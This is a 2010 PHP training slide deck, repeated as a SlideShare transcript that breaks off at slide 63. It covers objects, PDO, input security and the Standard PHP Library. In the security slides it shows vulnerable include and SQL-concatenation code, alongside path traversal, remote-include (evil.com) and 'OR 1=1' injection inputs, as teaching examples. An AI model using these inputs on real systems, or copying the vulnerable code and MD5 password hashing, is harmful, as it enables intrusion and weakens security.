Advanced PHP
Macq Electronique, Brussels 2010
        Michelangelo van Dam
Targeted audience


          developers
             geeks
      software engineers
  graduates computer science
Michelangelo van Dam

• Independent Consultant
• Zend Certified Engineer (ZCE)
 - PHP 4 & PHP 5
 - Zend Framework
• Co-Founder of PHPBenelux
• Shepherd of “elephpant” herds
T AIL O RM A D E S O L U T I O N S




                                         Macq électronique, manufacturer and developer, proposes
                                         you a whole series of electronic and computing-processing
                                         solutions for industry, building and road traffic.

                                         Macq électronique has set itself two objectives which are
                                         essential for our company :

                                              developing with competence and innovation
                                              earning the confidence of our customers

                                         Macq électronique presents many references carried out
                                         the last few years which attest to its human and
                                         technical abilities to meet with the greatest efficiency
                                         the needs of its customers.




For more information, please check out our website
              http://www.macqel.eu
Advanced PHP


  Classes & Objects
     Abstraction
       Security
  PHP Hidden Gems
Classes & Objects
Classes
•- Class defines an object
   constant features
 - properties
 - methods
 - magic
• can inherit object properties and methods
• can provide a basis for a multitude of objects


                        ?
Object Simplified
properties    methods     constants
             - cycling    - color
             - sitting    - material
             - steering   - brand
             - paddling   - type
Database Objects
            User
          id
          fullname
          username
          password
          email
Functional Objects

            Math
    addValue($value)
    subtractValue($value)
    multiplyValue($value)
    divideValue($value)
Objects in PHP
<?php
class MyClass
{
   public $property;

    public function setProperty($property)
    {
       $this->property = $property;
       return $this;
    }
    public function getProperty()
    {
        return $this->property;
    }
}

$my = new MyClass;
$my->setProperty('Test');
var_dump($my);

// outputs
object(MyClass)#1 (1) {
  ["property"]=>
  string(4) "Test"
}
And why is this better ?
• Uniform approach for data
• Reuse of data structures and content
•- Providing a common vocabulary
   when I say bicycle, everyone knows
 - when I say table User data, it gets trickier
• Might be useful on other data sources as well
 - database
 - CSV files
 - web service
 - streams
Demo
Abstraction
DRY
Example data
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
| 1 | test1     | 5a105e8b9d40e1329780d62ea2265d8a |
| 2 | test2     | ad0234829205b9033196ba818f7a872b |
+----+----------+----------------------------------+
Database type
Getting data…
<?php

if (false !== ($conn = mysql_connect('localhost','test',''))) {
  if (true === ($db = mysql_select_db('test'))) {
    $results = mysql_query('SELECT * FROM user', $conn);
    echo '<table>' . PHP_EOL;
    while ($row = mysql_fetch_assoc($results)) {
      echo ' <tr><td>' . $row['id'] . '</td>';
      echo '<td>' . $row['username'] . '</td></tr>' . PHP_EOL;
    }
    echo '</table>' . PHP_EOL;
  }
}

// outputs:

<table>
  <tr><td>1</td><td>test1</td></tr>
  <tr><td>2</td><td>test2</td></tr>
</table>
But what if…
Database type changes
oops !
PDO
•- PHP Data Objects
   consistent interface
 - accessing databases
 - included since PHP 5.1 (PECL since 5.0)
• data-access abstraction layer
 - same functions (methods)
 - different database products
Getting data with PDO
<?php                       informix, sqlite, pgsql, oci8, mssql,…
try {
    $pdo = new PDO('mysql:dbname=test;host=localhost', 'test', '');
} catch (PDOException $e) {
    echo 'Connection failed: ' . $e->getMessage();
}
$results = $pdo->query('SELECT * FROM user');
echo '<table>' . PHP_EOL;
foreach ($results as $row) {
  echo ' <tr><td>' . $row['id'] . '</td>';
  echo '<td>' . $row['username'] . '</td></tr>' . PHP_EOL;
}
echo '</table>' . PHP_EOL;

// outputs:

<table>
  <tr><td>1</td><td>test1</td></tr>
  <tr><td>2</td><td>test2</td></tr>
</table>
Demo
Security
Threats
•- Known threats
   cyber criminal attacks
 - competitors espionage
 - bad users providing faulty data (intentionally)
• Lesser known treats
 - users providing faulty data (not intentionally)
 - services not responding
 - bad, untested, changed code
 - …
Rule #1
Filter input, escape output
Unfiltered data
…
include $_GET['filename'];

…
$sql = 'SELECT * FROM test WHERE username=' . $_POST['username']
     . ' AND password=MD5(' . $_POST['password'] . ')';
$results = $pdo->query($sql);
Blows up in your face
…
include $_GET['file'];

when calling
script.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

or
script.php?file=http%3A%2F%2Fevil.com%2Fscript.php

…
$sql = 'SELECT * FROM test WHERE username='' . $_POST['username']
     . '' AND password=MD5(' . $_POST['password'] . ')';
$results = $pdo->query($sql);


What happens when you post for username:
“test' OR 1=1; --”

You want to run this in your MySQL client ???
SELECT * FROM test WHERE username='test' OR 1=1; --' AND password=MD5()
Filtering & Validation
•- Filtering : modifying data before validation
   trim whitespaces
 - put everything in lower case
 - stripping HTML-tags
 - …
• Validation: check if the data meets conditions
 - data type (string, integer, float, object, …)
 - string length
 - is a valid email address
 - …
unescaped output
• wrong encoding on pages ( � )
• translates html code into encoded entities
• cross site scripting (XSS)
• uncontrolled output of user generated content
•…
Escaping output
<?php

$string = "O'Reilly sells <b>great</b> books";

echo htmlentities($string, ENT_QUOTES, 'UTF-8') . PHP_EOL;
// outputs: O&#039;Reilly sells &lt;b&gt;great&lt;/b&gt; books
Demo
PHP’s Hidden Gem
SPL
What is SPL ?

               Standard PHP Library
          interfaces, classes and methods
      solve common development challenges

             Available since PHP 5.0 !!!

As of 5.3 SPL cannot be turned off from the source !
SPL by Marcus Börger


             Ittteerrrattor
Definition of SPL


SPL provides a huge toolkit that assists you to easily
iterate over a diversity of data structures in a
standardized way
What does it provide ?
• ArrayObject - approach arrays as objects
• Iterators - various iterators
• Interfaces - iterator interfaces for your objects
• Exceptions - exceptions to streamline error handling
• SPL Functions - extra functions and autoloader func
• SplFileInfo - tools for filesystem access
• Data structures - structuring data sequences
<?php phpinfo(); ?>
ArrayObject
•- provides an interface
     treat arrays as objects
 -   elements are iteratable
 -   provides serializing and deserializing of arrays
 -   sorting elements (w/ or w/o callback methods)
 -   exchange elements with other arrays or objects
ArrayObject Example
<?php

$myArray = array (
    'time'      => 'Derick Rethans',
    'test'      => 'Sebastian Bergmann',
    'iterate'   => 'Marcus Börger',
);


$obj = new ArrayObject($myArray);
print_r($obj);

$obj->uasort(function ($a, $b) {
  if ($a == $b) {
    return 0;
  }
  return ($a < $b) ? -1 : 1;
});
print_r($obj);
ArrayObject output
ArrayObject Object
(
    [storage:ArrayObject:private] => Array
        (
            [time] => Derick Rethans
            [test] => Sebastian Bergmann
            [iterate] => Marcus Börger
        )

)
ArrayObject Object
(
    [storage:ArrayObject:private] => Array
        (
            [time] => Derick Rethans
            [iterate] => Marcus Börger
            [test] => Sebastian Bergmann
        )

)
More of ArrayObject
…

// serializing object for caching, sessions, …
$obj->serialize();

// adding more key/value elements to the stack
$obj->offsetSet('enterprise', 'Ivo Jansch');

// removing by key
$obj->offsetUnset('time');

…
Iterator
• provides a common interface
•- to iterate over “things”
   xml data
 - database data
 - arrays
• move back and forth in a stack
• distinct methods to access keys and values
• specific iterators for different purposes
Advantage ?
•- Reusable code
   data structures can change
 - object oriented
  ❖ extending
  ❖ refactoring
  ❖ overloading
Example
• retrieve data in an array
• with items filtered out
FilterIterator Example
<?php

class filterOut extends FilterIterator
{
    private $_filter;

    public function __construct(Iterator $it, $filter)
    {
       parent::__construct($it);
       $this->_filter = $filter;
    }

    public function accept()
    {
        $key = $this->getInnerIterator()->key();
        return ($key == $this->_filter) ? false : true;
    }
}
FilterIterator output
<?php

$myArray = array (
    'time'      => 'Derick Rethans',
    'test'      => 'Sebastian Bergmann',
    'iterate'   => 'Marcus Börger',
);
$obj = new ArrayObject($myArray);

$iterator = new filterOut($obj->getIterator(), 'time');

foreach ($iterator as $item) {
  var_dump($item);
}

//ouputs
string(18) "Sebastian Bergmann"
string(13) "Marcus Börger"
DirectoryIterator
• dealing with files and directories
• looping back and forth between files
• sorting files w/ or w/o custom sorting algorithms
Example
• show an list of archive files
• ordered with last archive first
Directory contents
$ ls archives/
datafile-20090901.csv   datafile-20090906.csv   datafile-20090911.csv
datafile-20090916.csv   datafile-20090921.csv   datafile-20090926.csv
datafile-20090902.csv   datafile-20090907.csv   datafile-20090912.csv
datafile-20090917.csv   datafile-20090922.csv   datafile-20090927.csv
datafile-20090903.csv   datafile-20090908.csv   datafile-20090913.csv
datafile-20090918.csv   datafile-20090923.csv   datafile-20090928.csv
datafile-20090904.csv   datafile-20090909.csv   datafile-20090914.csv
datafile-20090919.csv   datafile-20090924.csv   datafile-20090929.csv
datafile-20090905.csv   datafile-20090910.csv   datafile-20090915.csv
datafile-20090920.csv   datafile-20090925.csv   datafile-20090930.csv
SortableDirectorIterator
<?php
class SortableDirectoryIterator extends DirectoryIterator
{
    public function sortUp()
    {
        $storage = $this->_getStorage();
        $storage->uksort(function ($a, $b) {
            if ($a == $b) return 0;
            return ($a < $b) ? -1 : 1;
        });
        return $storage;
    }
    public function sortDown()
    {
        $storage = $this->_getStorage();
        $storage->uksort(function ($a, $b) {
          if ($a == $b) return 0;
          return ($a < $b) ? 1 : -1;
        });
        return $storage;
    }
Our Storage Container
…
    protected function _getStorage()
    {
        $obj = new ArrayObject();
        foreach ($this as $file) {
            if ($file->isDot()) continue;
            $obj->offsetSet($file->getFileName(),
                            $file->getFileInfo());
        }
        return $obj;
    }
}

$dir = new SortableDirectoryIterator('./archives');
$sortObj = $dir->sortDown();
$iterator = $sortObj->getIterator();
while ($iterator->valid()) {
    echo $iterator->current()->getPathName() . PHP_EOL;
    $iterator->next();
}
Descending filenames
./archives/datafile-20090930.csv   ./archives/datafile-20090915.csv
./archives/datafile-20090929.csv   ./archives/datafile-20090914.csv
./archives/datafile-20090928.csv   ./archives/datafile-20090913.csv
./archives/datafile-20090927.csv   ./archives/datafile-20090912.csv
./archives/datafile-20090926.csv   ./archives/datafile-20090911.csv
./archives/datafile-20090925.csv   ./archives/datafile-20090910.csv
./archives/datafile-20090924.csv   ./archives/datafile-20090909.csv
./archives/datafile-20090923.csv   ./archives/datafile-20090908.csv
./archives/datafile-20090922.csv   ./archives/datafile-20090907.csv
./archives/datafile-20090921.csv   ./archives/datafile-20090906.csv
./archives/datafile-20090920.csv   ./archives/datafile-20090905.csv
./archives/datafile-20090919.csv   ./archives/datafile-20090904.csv
./archives/datafile-20090918.csv   ./archives/datafile-20090903.csv
./archives/datafile-20090917.csv   ./archives/datafile-20090902.csv
./archives/datafile-20090916.csv   ./archives/datafile-20090901.csv
RecursiveIteratorIterator
• iterates over existing iterator
• over multiple levels
• easy to flatten out nested array structures
• controlling recursive interactions
Example
                              Chuck Norris
                             Account Manager



            Jane Doe                              John Doe
         Project Manager                       Project Manager



Cinderella                Shrek
Developer           Graphical Designer
RecursiveIteratorIterator
<?php
$company = array (
    array (
        'name' => 'Chuck Norris','position' => 'Account Manager',
        'manages' => array (
            array (
                'name' => 'Jane Doe','position' => 'Project Manager',
                'manages' => array (
                    array (
                        'name' => 'Cinderella','position' => 'Developer',
                        'manages' => array (),
                    ),
                    array (
                        'name' => 'Shrek','position' => 'Graphical Designer',
                        'manages' => array (),
                    ),
                ),
            ),
            array (
                'name' => 'John Doe','position' => 'Project Manager',
                'manages' => array (),
            ),
        ),
    ),
);
Flattened Array output
$iterator = new RecursiveArrayIterator(new ArrayObject($company));
$ritit = new RecursiveIteratorIterator($iterator);
foreach ($ritit as $key => $value) {
    echo $key . ' = ' . $value . PHP_EOL;
}


// outputs
name = Chuck Norris
position = Account Manager
name = Jane Doe
position = Project Manager
name = Cinderella
position = Developer
name = Shrek
position = Graphical Designer
name = John Doe
position = Project Manager
Interfaces
• Countable: an internal counter
• OuterIterator: iteration over inner iterators
• RecursiveIterator: iterating in an recursive way
• SeekableIterator: an internal stack seeker
• SplObserver: implements observer pattern
• SplSubject: implements observer pattern
Interface example
<?php
// file: Order.php

class Order implements Countable, SplSubject
{
    protected $_orders;
    protected $_count;

    public function __construct()
    {
        $this->_count = 0;
        $this->_orders = array ();
    }

    public function placeOrder()
    {
        $this->_count++;
    }

    public function attach(SplObserver $observer)
    {
        $this->_orders[] = $observer;
    }

    public function detach(SplObserver $observer)
    {
        // not used in this case
    }
Interface Example (2)
    public function notify()
    {
        foreach ($this->_orders as $obj) {
            $obj->update($this);
        }
    }

    public function count()
    {
         return $this->_count;
    }
}

<?php
// file: PlaceOrder.php

class PlaceOrder implements SplObserver
{

    public function update(SplSubject $order)
    {
        echo 'We have ' . count($order) . ' orders now' . PHP_EOL;
    }
}
Running Interface Example
<?php

require_once 'Order.php';
require_once 'PlaceOrder.php';

$order = new Order();
$placeOrder = new PlaceOrder();

$order->attach($placeOrder);
$order->notify();

$order->placeOrder();
$order->notify();

$order->placeOrder();
$order->notify();


$ php ./spl_observer.php
We have 0 orders now
We have 1 orders now
We have 2 orders now
SPL Exceptions
•- SPL Exceptions
   templates
 - throw exceptions
 - common issues
• Types of exceptions
 - LogicExceptions
 - RuntimeExceptions
SPL LogicException Tree
SPL RuntimeException
        Tree
Exceptions Example
<?php
//file: spl_exception01.php
class MyClass
{
    public function giveANumberFromOneToTen($number)
    {
        if($number < 1 || $number > 10) {
                throw new OutOfBoundsException('Number should be between 1 and
10');
        }
        echo $number . PHP_EOL;
    }
}

$my = new MyClass();
try {
    $my->giveANumberFromOneToTen(5);
    $my->giveANumberFromOneToTen(20);
} catch (OutOfBoundsException $e) {
    echo $e->getMessage() . PHP_EOL;
}

Output:
$ /usr/bin/php ./spl_exception01.php
5
Number should be between 1 and 10
SplFunctions
• functions for PHP and SPL in particular
• often dealing with auto loading
• some for internal referencing
SplFunctions Example
<?php

interface foo {}
interface bar {}

class baz implements foo, bar {}
class example extends baz {}

var_dump(class_implements(new baz));

var_dump(class_implements(new example));
Output of SplFunctions
array(2) {
  ["foo"]=>
  string(3)   "foo"
  ["bar"]=>
  string(3)   "bar"
}
array(2) {
  ["bar"]=>
  string(3)   "bar"
  ["foo"]=>
  string(3)   "foo"
}
SPLFileInfo


The SplFileInfo class offers a high-level object oriented
    interface to information for an individual file.
SplFileInfo Example
<?php

// use the current file to get information from
$file = new SplFileInfo(dirname(__FILE__));

var_dump($file->isFile());
var_dump($file->getMTime());
var_dump($file->getSize());
var_dump($file->getFileInfo());
var_dump($file->getOwner());



//output
bool(false)
int(1244760945)
int(408)
object(SplFileInfo)#2 (0) {
}
int(501)
Processing CSV with SPL
Consider the following data.csv


Derick Rethans;time
Sebastian Bergmann;test
Marcus Börger;iterate
Ivo Jansch;enterprise
Matthew Weier O'Phinney;extend
Michelangelo van Dam;elephpant
SPL usage on CSV
<?php
$info = new SplFileInfo('data.csv');
if ($info->isReadable()) {
    $file = $info->openFile();
    $file->setFlags(SplFileObject::READ_CSV);
    $file->setCsvControl(';','"');
    foreach ($file as $row) {
        list ($user, $term) = $row;
        if (null !== $user && null !== $term) {
            echo $user . ' is known for ' . $term . PHP_EOL;
        }
    }
}

//outputs
Derick Rethans is known for time
Sebastian Bergmann is known for test
Marcus Börger is known for iterate
Ivo Jansch is known for enterprise
Matthew Weier O'Phinney is known for extend
Michelangelo van Dam is known for elephpant
Data Structures
• Available in PHP 5.3
•- SplDoublyLinkedList
     SplStack
 -   SplQueue
 -   SplHeap
 -   SplMaxHeap
 -   SplMinHeap
 -   SplPriorityQueue
Data Structures Example
<?php
// file: spl_stack01.php
$stack = new SplStack();
$stack->push('Message 1');
$stack->push('Message 2');
$stack->push('Message 3');

echo $stack->pop() . PHP_EOL;
echo $stack->pop() . PHP_EOL;
echo $stack->pop() . PHP_EOL;

Outputs:
$ /usr/bin/php ./spl_stack01.php
Message 3
Message 2
Message 1
SplHeap
•- SplHeap is an abstract class
    SplMinHeap implements SplHeap (low » high)
 - SplMaxHeap implements SplHeap (high » low)
• stacking values w/o FIFO, FILO order
Simple SplHeap example
<?php

$heap = new SplMinHeap;
$heap->insert(5);
$heap->insert(2);
$heap->insert(8);
$heap->insert(6);

$heap->top();
while ($heap->valid()) {
    echo $heap->key() . ': ' . $heap->current() . PHP_EOL;
    $heap->next();
}

//outputs
3: 2
2: 5
1: 6
0: 8
JupilerLeague w/ SplHeap
<?php
class JupilerLeague extends SplHeap
{
    public function compare($array1, $array2)
    {
        $values1 = array_values($array1);
        $values2 = array_values($array2);
        if ($values1[0] === $values2[0]) return 0;
        return $values1[0] < $values2[0] ? -1 : 1;
    }
}

$heap = new JupilerLeague();
$heap->insert(array ('AA Gent' => 15)); $heap->insert(array ('Anderlecht' => 20));
$heap->insert(array ('Cercle Brugge' => 11)); $heap->insert(array ('Charleroi' => 12));
$heap->insert(array ('Club Brugge' => 21)); $heap->insert(array ('G. Beerschot' => 15));
$heap->insert(array ('Kortrijk' => 10)); $heap->insert(array ('KV Mechelen' => 18));
$heap->insert(array ('Lokeren' => 10)); $heap->insert(array ('Moeskroen' => 7));
$heap->insert(array ('Racing Genk' => 11)); $heap->insert(array ('Roeselare' => 6));
$heap->insert(array ('Standard' => 20)); $heap->insert(array ('STVV' => 17));
$heap->insert(array ('Westerlo' => 10)); $heap->insert(array ('Zulte Waregem' => 15));

$heap->top();
while ($heap->valid()) {
  list ($team, $score) = each ($heap->current());
  echo $team . ': ' . $score . PHP_EOL;
  $heap->next();
}
JupilerLeague Scoreboard
Club Brugge: 21
Anderlecht: 20
Standard: 20
KV Mechelen: 18
STVV: 17
Zulte Waregem: 15
AA Gent: 15
G. Beerschot: 15
Charleroi: 12
Racing Genk: 11
Cercle Brugge: 11
Kortrijk: 10
Lokeren: 10
Westerlo: 10
Moeskroen: 7
Roeselare: 6
Conclusion


SPL can help you solve common PHP issues
        it’s built-in, so why not use it
   it requires no “advanced skills” to use
SPL is not all good
•- Matthew “Elazar” Turland pointed out:
   Performance could be better (SPLStack)
 - ArrayObject doesn’t support all array
   functions
• See his presentation:
  http://ishouldbecoding.com/publications
Recommended Reading


Zend PHP 5 Certification Study
Guide
php|architect

Davey Shafik
Ben Ramsey
Recommended Reading


Object-Oriented Programming
with PHP5
Packt Publishing

Hasin Hayder
Recommended Reading

The PHP Anthology
Sitepoint

Davey Shafik
Matthew Weier O’Phinney
Ligaya Turmelle
Harry Fuecks
Ben Balbo
Recommended Reading


Essential PHP Security
O’Reilly

Chris Shiflett
Credits

             I want to believe - Official X-files movie poster
                          http://www.xfiles.com

Composition No. 10. 1939-42. Piet Mondrian (WikiPedia Faire Use License)
         http://en.wikipedia.org/wiki/File:Mondrian_Comp10.jpg

                            Security - amelungc
             http://flickr.com/photos/amelungc/3383538729

                      Warhol Inspired Gems - Jayt74
               http://flickr.com/photos/jayt74/3910181470
Questions ?

         Slides on SlideShare
http://www.slideshare.net/group/macqel

           Give feedback !
         http://joind.in/1257

Advanced Php - Macq Electronique 2010

  • 1.
    Advanced PHP Macq Electronique,Brussels 2010 Michelangelo van Dam
  • 2.
    Targeted audience developers geeks software engineers graduates computer science
  • 3.
    Michelangelo van Dam •Independent Consultant • Zend Certified Engineer (ZCE) - PHP 4 & PHP 5 - Zend Framework • Co-Founder of PHPBenelux • Shepherd of “elephpant” herds
  • 4.
    T AIL ORM A D E S O L U T I O N S Macq électronique, manufacturer and developer, proposes you a whole series of electronic and computing-processing solutions for industry, building and road traffic. Macq électronique has set itself two objectives which are essential for our company : developing with competence and innovation earning the confidence of our customers Macq électronique presents many references carried out the last few years which attest to its human and technical abilities to meet with the greatest efficiency the needs of its customers. For more information, please check out our website http://www.macqel.eu
  • 5.
    Advanced PHP Classes & Objects Abstraction Security PHP Hidden Gems
  • 6.
  • 7.
    Classes •- Class definesan object constant features - properties - methods - magic • can inherit object properties and methods • can provide a basis for a multitude of objects ?
  • 8.
    Object Simplified properties methods constants - cycling - color - sitting - material - steering - brand - paddling - type
  • 9.
    Database Objects User id fullname username password email
  • 10.
    Functional Objects Math addValue($value) subtractValue($value) multiplyValue($value) divideValue($value)
  • 11.
    Objects in PHP <?php classMyClass { public $property; public function setProperty($property) { $this->property = $property; return $this; } public function getProperty() { return $this->property; } } $my = new MyClass; $my->setProperty('Test'); var_dump($my); // outputs object(MyClass)#1 (1) { ["property"]=> string(4) "Test" }
  • 12.
    And why isthis better ? • Uniform approach for data • Reuse of data structures and content •- Providing a common vocabulary when I say bicycle, everyone knows - when I say table User data, it gets trickier • Might be useful on other data sources as well - database - CSV files - web service - streams
  • 13.
  • 14.
  • 15.
  • 16.
    Example data +----+----------+----------------------------------+ | id| username | password | +----+----------+----------------------------------+ | 1 | test1 | 5a105e8b9d40e1329780d62ea2265d8a | | 2 | test2 | ad0234829205b9033196ba818f7a872b | +----+----------+----------------------------------+
  • 17.
  • 18.
    Getting data… <?php if (false!== ($conn = mysql_connect('localhost','test',''))) { if (true === ($db = mysql_select_db('test'))) { $results = mysql_query('SELECT * FROM user', $conn); echo '<table>' . PHP_EOL; while ($row = mysql_fetch_assoc($results)) { echo ' <tr><td>' . $row['id'] . '</td>'; echo '<td>' . $row['username'] . '</td></tr>' . PHP_EOL; } echo '</table>' . PHP_EOL; } } // outputs: <table> <tr><td>1</td><td>test1</td></tr> <tr><td>2</td><td>test2</td></tr> </table>
  • 19.
  • 20.
  • 21.
  • 22.
    PDO •- PHP DataObjects consistent interface - accessing databases - included since PHP 5.1 (PECL since 5.0) • data-access abstraction layer - same functions (methods) - different database products
  • 23.
    Getting data withPDO <?php informix, sqlite, pgsql, oci8, mssql,… try { $pdo = new PDO('mysql:dbname=test;host=localhost', 'test', ''); } catch (PDOException $e) { echo 'Connection failed: ' . $e->getMessage(); } $results = $pdo->query('SELECT * FROM user'); echo '<table>' . PHP_EOL; foreach ($results as $row) { echo ' <tr><td>' . $row['id'] . '</td>'; echo '<td>' . $row['username'] . '</td></tr>' . PHP_EOL; } echo '</table>' . PHP_EOL; // outputs: <table> <tr><td>1</td><td>test1</td></tr> <tr><td>2</td><td>test2</td></tr> </table>
  • 24.
  • 25.
  • 26.
    Threats •- Known threats cyber criminal attacks - competitors espionage - bad users providing faulty data (intentionally) • Lesser known treats - users providing faulty data (not intentionally) - services not responding - bad, untested, changed code - …
  • 27.
    Rule #1 Filter input,escape output
  • 28.
    Unfiltered data … include $_GET['filename']; … $sql= 'SELECT * FROM test WHERE username=' . $_POST['username'] . ' AND password=MD5(' . $_POST['password'] . ')'; $results = $pdo->query($sql);
  • 29.
    Blows up inyour face … include $_GET['file']; when calling script.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd or script.php?file=http%3A%2F%2Fevil.com%2Fscript.php … $sql = 'SELECT * FROM test WHERE username='' . $_POST['username'] . '' AND password=MD5(' . $_POST['password'] . ')'; $results = $pdo->query($sql); What happens when you post for username: “test' OR 1=1; --” You want to run this in your MySQL client ??? SELECT * FROM test WHERE username='test' OR 1=1; --' AND password=MD5()
  • 30.
    Filtering & Validation •-Filtering : modifying data before validation trim whitespaces - put everything in lower case - stripping HTML-tags - … • Validation: check if the data meets conditions - data type (string, integer, float, object, …) - string length - is a valid email address - …
  • 31.
    unescaped output • wrongencoding on pages ( � ) • translates html code into encoded entities • cross site scripting (XSS) • uncontrolled output of user generated content •…
  • 32.
    Escaping output <?php $string ="O'Reilly sells <b>great</b> books"; echo htmlentities($string, ENT_QUOTES, 'UTF-8') . PHP_EOL; // outputs: O&#039;Reilly sells &lt;b&gt;great&lt;/b&gt; books
  • 33.
  • 34.
  • 35.
  • 36.
    What is SPL? Standard PHP Library interfaces, classes and methods solve common development challenges Available since PHP 5.0 !!! As of 5.3 SPL cannot be turned off from the source !
  • 37.
    SPL by MarcusBörger Ittteerrrattor
  • 38.
    Definition of SPL SPLprovides a huge toolkit that assists you to easily iterate over a diversity of data structures in a standardized way
  • 39.
    What does itprovide ? • ArrayObject - approach arrays as objects • Iterators - various iterators • Interfaces - iterator interfaces for your objects • Exceptions - exceptions to streamline error handling • SPL Functions - extra functions and autoloader func • SplFileInfo - tools for filesystem access • Data structures - structuring data sequences
  • 40.
  • 41.
    ArrayObject •- provides aninterface treat arrays as objects - elements are iteratable - provides serializing and deserializing of arrays - sorting elements (w/ or w/o callback methods) - exchange elements with other arrays or objects
  • 42.
    ArrayObject Example <?php $myArray =array ( 'time' => 'Derick Rethans', 'test' => 'Sebastian Bergmann', 'iterate' => 'Marcus Börger', ); $obj = new ArrayObject($myArray); print_r($obj); $obj->uasort(function ($a, $b) { if ($a == $b) { return 0; } return ($a < $b) ? -1 : 1; }); print_r($obj);
  • 43.
    ArrayObject output ArrayObject Object ( [storage:ArrayObject:private] => Array ( [time] => Derick Rethans [test] => Sebastian Bergmann [iterate] => Marcus Börger ) ) ArrayObject Object ( [storage:ArrayObject:private] => Array ( [time] => Derick Rethans [iterate] => Marcus Börger [test] => Sebastian Bergmann ) )
  • 44.
    More of ArrayObject … //serializing object for caching, sessions, … $obj->serialize(); // adding more key/value elements to the stack $obj->offsetSet('enterprise', 'Ivo Jansch'); // removing by key $obj->offsetUnset('time'); …
  • 45.
    Iterator • provides acommon interface •- to iterate over “things” xml data - database data - arrays • move back and forth in a stack • distinct methods to access keys and values • specific iterators for different purposes
  • 46.
    Advantage ? •- Reusablecode data structures can change - object oriented ❖ extending ❖ refactoring ❖ overloading
  • 47.
    Example • retrieve datain an array • with items filtered out
  • 48.
    FilterIterator Example <?php class filterOutextends FilterIterator { private $_filter; public function __construct(Iterator $it, $filter) { parent::__construct($it); $this->_filter = $filter; } public function accept() { $key = $this->getInnerIterator()->key(); return ($key == $this->_filter) ? false : true; } }
  • 49.
    FilterIterator output <?php $myArray =array ( 'time' => 'Derick Rethans', 'test' => 'Sebastian Bergmann', 'iterate' => 'Marcus Börger', ); $obj = new ArrayObject($myArray); $iterator = new filterOut($obj->getIterator(), 'time'); foreach ($iterator as $item) { var_dump($item); } //ouputs string(18) "Sebastian Bergmann" string(13) "Marcus Börger"
  • 50.
    DirectoryIterator • dealing withfiles and directories • looping back and forth between files • sorting files w/ or w/o custom sorting algorithms
  • 51.
    Example • show anlist of archive files • ordered with last archive first
  • 52.
    Directory contents $ lsarchives/ datafile-20090901.csv datafile-20090906.csv datafile-20090911.csv datafile-20090916.csv datafile-20090921.csv datafile-20090926.csv datafile-20090902.csv datafile-20090907.csv datafile-20090912.csv datafile-20090917.csv datafile-20090922.csv datafile-20090927.csv datafile-20090903.csv datafile-20090908.csv datafile-20090913.csv datafile-20090918.csv datafile-20090923.csv datafile-20090928.csv datafile-20090904.csv datafile-20090909.csv datafile-20090914.csv datafile-20090919.csv datafile-20090924.csv datafile-20090929.csv datafile-20090905.csv datafile-20090910.csv datafile-20090915.csv datafile-20090920.csv datafile-20090925.csv datafile-20090930.csv
  • 53.
    SortableDirectorIterator <?php class SortableDirectoryIterator extendsDirectoryIterator { public function sortUp() { $storage = $this->_getStorage(); $storage->uksort(function ($a, $b) { if ($a == $b) return 0; return ($a < $b) ? -1 : 1; }); return $storage; } public function sortDown() { $storage = $this->_getStorage(); $storage->uksort(function ($a, $b) { if ($a == $b) return 0; return ($a < $b) ? 1 : -1; }); return $storage; }
  • 54.
    Our Storage Container … protected function _getStorage() { $obj = new ArrayObject(); foreach ($this as $file) { if ($file->isDot()) continue; $obj->offsetSet($file->getFileName(), $file->getFileInfo()); } return $obj; } } $dir = new SortableDirectoryIterator('./archives'); $sortObj = $dir->sortDown(); $iterator = $sortObj->getIterator(); while ($iterator->valid()) { echo $iterator->current()->getPathName() . PHP_EOL; $iterator->next(); }
  • 55.
    Descending filenames ./archives/datafile-20090930.csv ./archives/datafile-20090915.csv ./archives/datafile-20090929.csv ./archives/datafile-20090914.csv ./archives/datafile-20090928.csv ./archives/datafile-20090913.csv ./archives/datafile-20090927.csv ./archives/datafile-20090912.csv ./archives/datafile-20090926.csv ./archives/datafile-20090911.csv ./archives/datafile-20090925.csv ./archives/datafile-20090910.csv ./archives/datafile-20090924.csv ./archives/datafile-20090909.csv ./archives/datafile-20090923.csv ./archives/datafile-20090908.csv ./archives/datafile-20090922.csv ./archives/datafile-20090907.csv ./archives/datafile-20090921.csv ./archives/datafile-20090906.csv ./archives/datafile-20090920.csv ./archives/datafile-20090905.csv ./archives/datafile-20090919.csv ./archives/datafile-20090904.csv ./archives/datafile-20090918.csv ./archives/datafile-20090903.csv ./archives/datafile-20090917.csv ./archives/datafile-20090902.csv ./archives/datafile-20090916.csv ./archives/datafile-20090901.csv
  • 56.
    RecursiveIteratorIterator • iterates overexisting iterator • over multiple levels • easy to flatten out nested array structures • controlling recursive interactions
  • 57.
    Example Chuck Norris Account Manager Jane Doe John Doe Project Manager Project Manager Cinderella Shrek Developer Graphical Designer
  • 58.
    RecursiveIteratorIterator <?php $company = array( array ( 'name' => 'Chuck Norris','position' => 'Account Manager', 'manages' => array ( array ( 'name' => 'Jane Doe','position' => 'Project Manager', 'manages' => array ( array ( 'name' => 'Cinderella','position' => 'Developer', 'manages' => array (), ), array ( 'name' => 'Shrek','position' => 'Graphical Designer', 'manages' => array (), ), ), ), array ( 'name' => 'John Doe','position' => 'Project Manager', 'manages' => array (), ), ), ), );
  • 59.
    Flattened Array output $iterator= new RecursiveArrayIterator(new ArrayObject($company)); $ritit = new RecursiveIteratorIterator($iterator); foreach ($ritit as $key => $value) { echo $key . ' = ' . $value . PHP_EOL; } // outputs name = Chuck Norris position = Account Manager name = Jane Doe position = Project Manager name = Cinderella position = Developer name = Shrek position = Graphical Designer name = John Doe position = Project Manager
  • 60.
    Interfaces • Countable: aninternal counter • OuterIterator: iteration over inner iterators • RecursiveIterator: iterating in an recursive way • SeekableIterator: an internal stack seeker • SplObserver: implements observer pattern • SplSubject: implements observer pattern
  • 61.
    Interface example <?php // file:Order.php class Order implements Countable, SplSubject { protected $_orders; protected $_count; public function __construct() { $this->_count = 0; $this->_orders = array (); } public function placeOrder() { $this->_count++; } public function attach(SplObserver $observer) { $this->_orders[] = $observer; } public function detach(SplObserver $observer) { // not used in this case }
  • 62.
    Interface Example (2) public function notify() { foreach ($this->_orders as $obj) { $obj->update($this); } } public function count() { return $this->_count; } } <?php // file: PlaceOrder.php class PlaceOrder implements SplObserver { public function update(SplSubject $order) { echo 'We have ' . count($order) . ' orders now' . PHP_EOL; } }
  • 63.
